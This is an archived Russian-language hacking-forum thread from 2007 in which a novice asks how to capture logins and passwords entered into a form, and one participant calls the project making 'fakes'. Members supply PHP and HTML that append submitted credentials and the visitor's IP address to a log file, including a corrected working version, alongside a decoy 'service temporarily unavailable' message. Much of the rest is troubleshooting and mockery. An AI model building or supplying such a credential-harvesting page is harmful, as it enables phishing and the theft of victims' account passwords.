PDA

Просмотр полной версии : Сохранение данных в файл


saiman
14.03.2007, 19:21
Какой скрипт нужен для того, что бы при вводе loga и passa они сохранялись. И как их потом прасмотреть?

InferNo23
14.03.2007, 19:27
у тебя форма для ввода логина/пасса ?


<html>
<form method="post">
Login:<input type="text" name="login">
Pass:<input type="password" name="pass">
</form>
<?php
if(isset($_POST["login"]) && isset($_POST["pass"])){
$z = fopen("data.txt", "a");
fwrite($z, 'Login: '.$_POST["login"]."\n");
fwrite($z, 'Pass: '.$_POST["pass"]."\n\n");
fclose($z);
}
?>
</html>

Isis
14.03.2007, 19:41
у тебя форма для ввода логина/пасса ?


<html>
<form method="post">
Login:<input type="text" name="login">
Pass:<input type="password" name="pass">
</form>
<?php
if(isset($_POST["login"]) && isset($_POST["pass"])){
$z = fopen("data.txt", "a");
fwrite($z, 'Login: '.$_POST["login"]."\n");
fwrite($z, 'Pass: '.$_POST["pass"]."\n\n");
fclose($z);
}
?>
</html>

А вам взрослые не говорили что одинарные кавычки быстрее для работы скрипта, чем двойные :)

Ps: Вечером напишу статью "Все о .htaccess" =)

_Great_
14.03.2007, 20:43
никто не любит правильно называть темы? буду стабильно ставить за это минусы..

Sn@k3
14.03.2007, 21:30
Ps: Вечером напишу статью "Все о .htaccess" =)

чувак юзай поиск, статья уже была на форуме

saiman
14.03.2007, 21:42
А где просмотреть зарегиный log и pass?

n1†R0x
14.03.2007, 21:55
А где просмотреть зарегиный log и pass?
omg
$z = fopen("data.txt", "a");

saiman
14.03.2007, 22:19
Какую ссылку нужну лепить, что бы при нажатии зарегиться всё это сохранялось в $z = fopen("data.txt", "a");

Abra
14.03.2007, 22:37
какая ссылка ты о чем? у тебя есть форма, в которую вводят данные, которые потом отсылаются на твой скрипт.
Ты не знаешь что такое форма, или параметр action? Тогда тебе надо html учить а не фейки делать, имхо.

saiman
14.03.2007, 22:59
Че такое форма я знаю! Но как потом отослать данные на скрипт?

Abra
14.03.2007, 23:09
<form action="www.твойсайт.ру/скрипт.php">
http://www.google.com/search?hl=en&q=учебник HTML&btnG=Google+Search

Fr-Ron
14.03.2007, 23:43
Хм хм...


1) Чтобы получить из формы переменные

<form method = post action = [script name]>
<input type="text" name="login">
<input type="text" name="pass">
</form>

<?php
$login = $HTTP_POST_VARS['login'];
$pass = $HTTP_POST_VARS['pass'];
?>

Ну а дальше разберешься ;)

MegaDeth
15.03.2007, 12:03
saiman, ты наверное имеешь ввиду отправка данных ГЕТом? тогда script.php?login=Vaysa&pass=pupkin007
и соотв. в скрипте бери данные не из массива $_POST a $_GET
$_GET["login"]
если ты знаешь что такое форма то ты должен знать и предназначение, хм, как отослать? <input type=Submit value="Send">
можеш и сам отослать запрос а не браузером, ну это обьяснять небуду учи протокол HTTP

saiman
15.03.2007, 17:21
Ещё вапрос.
<form method = post action = [script name]>
<input type="text" name="login">
<input type="text" name="pass">
</form>

<?php
$login = $HTTP_POST_VARS['login'];
$pass = $HTTP_POST_VARS['pass'];
?>

Там где script name пишем дапустим sax, затем <form action="www.твойсайт.ру/sax.php"> Я правильно понял?

blaga
15.03.2007, 17:37
если все это в одном фале то action = [script name] можно не писать.

ПОЛЬЗУЙСЯ КНОПКОЙ "КОД"!!!

r0
15.03.2007, 20:08
Выбирайте относительные пути для action.
И сделайте ликбез по HTTP протоколу.

MegaDeth
15.03.2007, 23:02
http://slil.ru/24085880 доки по ХТТП

DRON-ANARCHY
16.03.2007, 00:12
Но как потом отослать данные на скрипт?
добавить <input type='submit'>

saiman
17.03.2007, 19:15
У меня две страницы http://мой сайт.ru/sa.html

<html>
<head>
<title>Untitled</title>
</head>
<body>
<form action=saver.php method=post>
Login: <input type="Text" name="login" value=""><br>
Password: <input type="pass" name="pass" value="">
<input name=log.txt type=hidden value=a>
<input type="Submit" value="Проверить">
<?
$1=login;
$2=pass;
$ip=getenv("Remote_addr");
$fp=fopen("log.txt", "a");
fputs($fp, "$1\t|$2\t|$ip\n");
echo "Извините, но сервис временно не доступен!";
?>


</body>
</html>

и http://мой сайт.ru/saver.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Untitled</title>
</head>
<body>
<?
$1=login;
$2=pass;
$ip=getenv("Remote_addr");
$fp=fopen("log.txt", "a");
fputs($fp, "$1\t|$2\t|$ip\n");
<input name=log.txt type=hidden value=a>
echo "Извините, но сервис временно не доступен!";
?>


</body>
</html>

Почему log и pass не сохраняются в log.txt че я нетак сделал и как исправить?

Abra
17.03.2007, 19:47
наверное потому что переменная не может начинаться с цифры.

InferNo23
17.03.2007, 19:55
твой sa.html:

<html>
<head>
<title>Untitled</title>
</head>
<body>
<form action="saver.php" method="post">
Login: <input type="text" name="login" ><br>
Password: <input type="pass" name="pass" >
<input type="Submit" value="Проверить">
</body>
</html>


и saver.php

<html>
<head>
<title>Untitled</title>
</head>
<body>
<?php
$login = $_POST["login"];
$pass = $_POST["pass"];
$ip = getenv("REMOTE_ADDR");
$fp = fopen("log.txt", "a");
fputs($fp, "Login: $login "." Pass: $pass "." IP: $ip "."\n\n");
?>


все работает

saiman
17.03.2007, 23:15
Когда я нажимаю "проверить" переходит на страницу saver.php и выдаёт (невозможно отобразить страницу) и ничё не записыват в log.txt А в log.txt никаких скриптов не надо?

nc.STRIEM
17.03.2007, 23:41
тебе уже все настолько подробно разжевали, что дальше некуда!!!
мож стоит терь немного и своей головой подумать???
http://php.ru/

PS не забудь chmod 666 log.txt

Abra
18.03.2007, 00:07
переходит на страницу saver.php и выдаёт (невозможно отобразить страницу)
ну может головой хоть немного подумаем?
залить server.php на сервер как-то не догадался?

Isis
18.03.2007, 00:12
ну может головой хоть немного подумаем?
залить server.php на сервер как-то не догадался?
Не server.php, a saver.php т.к. некоторые могут не догадаться....
Смотря вообще какой экшен....

saiman
18.03.2007, 11:49
В этом то и проблема! Я залил saver.php на narod.ru

Abra
18.03.2007, 11:55
В этом то и проблема! Я залил saver.php на narod.ru
кхм
глупый вопрос - зачем? тебе сервер нужен с поддержкой пхп!

saiman
18.03.2007, 12:04
А какие поддерживают?

nc.STRIEM
18.03.2007, 14:09
А какие поддерживают?
https://forum.antichat.ru/thread7038.html

DRON-ANARCHY
18.03.2007, 14:13
наверное потому что переменная не может начинаться с цифры.
ааааа!!!! ЧОРТ!!!!
выньте меня из пацтала))))))
В этом то и проблема! Я залил saver.php на narod.ruДа вы меня убить хотите??? :D :D :D
ща сдохну))))

nc.STRIEM
18.03.2007, 14:52
Тема разжована! Все дано! Автор включаем смекалку!

<closed>